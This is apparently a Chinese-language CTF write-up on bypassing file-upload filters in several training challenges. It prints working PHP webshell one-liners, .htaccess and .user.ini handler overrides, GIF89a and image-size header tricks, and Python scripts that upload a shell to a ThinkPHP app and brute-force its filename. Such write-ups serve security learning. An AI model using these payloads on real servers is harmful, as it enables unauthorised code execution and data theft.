CTF下的文件上傳

前言:

CTF下的文件上傳考法也有很多種,結合做過的題目進行一個總結。

[ACTF2020 新生賽]Upload

——後綴名繞過
在這裏插入圖片描述
有JS代碼在前端驗證,先上傳要求的格式再通過抓包修改後綴名
在這裏插入圖片描述
看來php後綴被過濾了,可以嘗試其他後綴名
在這裏插入圖片描述
php常用後綴名如下:

# php2,php3、php4、php5、phtml、phtm
代替php後綴

在這裏插入圖片描述
phtml和phtm後綴即可上傳進行,下面就是連接查看flag了

類似題目:

[極客大挑戰 2019]Upload

[GXYCTF2019]BabyUpload

——圖片馬
在這裏插入圖片描述
經過測試只有jpg後綴的圖片可以上傳進行,利用php後綴名無法繞過,大小寫也無法繞過,那就通過上傳.htaccess文件來解析上傳的jpg圖片
在這裏插入圖片描述
上傳成功,下面傳入jpeg馬連接即可
在這裏插入圖片描述
補充一下上傳姿勢和.htaccess 文件上傳

#上傳姿勢
添加gif89a的頭
<script language=”php”>
php2,php3、php4、php5、phtml、phtm代替php後綴
傳.htaccess
截斷上傳

#.htaccess文件上傳
#方法一:
# FileMatch 參數即爲文件名的正則匹配
<FilesMatch "1.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
// 1.jpg
<?php eval($_GET['a']);?>
#方法二:
AddType application/x-httpd-php .jpg
// 1.jpg
<?php eval($_GET['a']);?>

類似題目:

[MRCTF2020]你傳你🐎呢

[RoarCTF 2019]Simple Upload

——條件競爭、Thinkphp的文件上傳、腳本上傳

在這裏插入圖片描述
很明顯就是Thinkphp的代碼,查到thinkphp的手冊
ThinkPHP3.2完全開發手冊
查資料發現Thinkphp默認上傳路徑是/home/index/upload
這道題沒有上傳點,應該是要自己編寫腳本上傳進去,可以參考師傅的文章去寫
python模擬文件上傳(multipart/form-data形式)
在這裏插入圖片描述
下載源碼觀察文件上傳命名規則
在這裏插入圖片描述
uniqid() 函數基於以微秒計的當前時間,生成一個唯一的 ID,所以上傳文件名是一直在變化的。

觀察題目源碼會發現只是限制了上傳後綴,thinkPHP裏的upload()函數在不傳參的情況下是批量上傳的,可以理解爲防護機制只檢測一次,運用條件競爭,多次上傳便可以繞過文件後綴的檢測。

那接下來就通過腳本來進行上傳

import requests

url = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'

file1 = {'file':open('lemon.txt','r')}
file2 = {'file1':open('lemon.php','r')}

r = requests.post(url,files=file1)
print(r.text)
r = requests.post(url,files=file2)
print(r.text)

發現上傳的php文件沒有顯示出文件名
在這裏插入圖片描述
上面提到了uniqid() 函數會以時間更改文件名,所以將lemon.txt上傳兩次根據第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件名

import requests

url = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'

file1 = {'file':open('lemon.txt','r')}
file2 = {'file1':open('lemon.php','r')}

r = requests.post(url,files=file1)
print(r.text)
r = requests.post(url,files=file2)
print(r.text)
r = requests.post(url,files=file1)
print(r.text)

在這裏插入圖片描述
發現文件名後六位不同,只能爆破了

import requests

s = "1234567890abcdef"
for i in s:
    for j in s:
        for k in s:
            for l in s:
                for o in s:
                    for u in s:
                        url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/Public/Uploads/2020-04-24/5ea2526%s%s%s%s%s%s.php"%(i,j,k,l,o,u)
                        r = requests.get(url)
                        # print(url)
                        if r.status_code != 404:
                            print(url)
                        break

幾乎爆破不出來,六位太長了,但思路和方法就是這樣的,看了師傅寫的腳本可以跑出來,學習一下

#coding:utf-8
import requests
import time
import json

url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
#json.loads()用於將str類型的數據轉成dict
print param
t1 = int(t1, 16)

j = t1
while True:
    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
    try:
        r = requests.get(path,timeout=1)
    except:
        continue
    if r.status_code == 429:#規避過於頻繁訪問導致的429
        time.sleep(0.1)
        continue
    elif r.status_code != 404:
        print path
        print r.text
        break
    print j, path, r.status_code
    j -= 1

在這裏插入圖片描述

[SUCTF 2019]CheckIn

——.user.ini的利用

這道題能學到新的知識和姿勢,下面就通過題目來學習
在這裏插入圖片描述
看似是一道正常的上傳題目,然後有黑名單,檢測文件頭,截斷也不行,圖片馬的話.htaccess文件上傳不,這個就很頭疼,看了師傅的WP發現是用到了.user.ini,說實話這個真的沒有遇到過,學習一下

對比:
.user.ini 無論是nginx/apache/IIS,只要以fastcgi運行的php都可以用這個方法。
.htaccess .htaccess有侷限性,只能是apache.

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

原理就不敘述了,可以看師傅對其的分析,寫的真的很詳細了

配置項 描述
auto_prepend_file 指定一個文件,在任何php文件運行前會將這個文件require進來。
auto_append_file 類似前一選項,區別是包含目標文件在php尾部執行。當該文件調用了exit()時無效。

下面就通過這道題來練習一下這個方法:

.user.ini

auto_prepend_file=1.jpg

上傳發現繞不過文件頭檢測

可以添加
GIF89a
或者通過設置height以及width來繞過getimagesize、或exif_imagetype的檢測
#define width 666
#define height 666

payload:

.user.ini文件
#define width 666
#define height 666
auto_prepend_file=3.jpg
3.jpg文件
#define width 666
#define height 666
<script language="PHP">system("cat /flag");</script>

其他例子:
https://blog.csdn.net/qq_43305301/article/details/104494779

未完待續!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章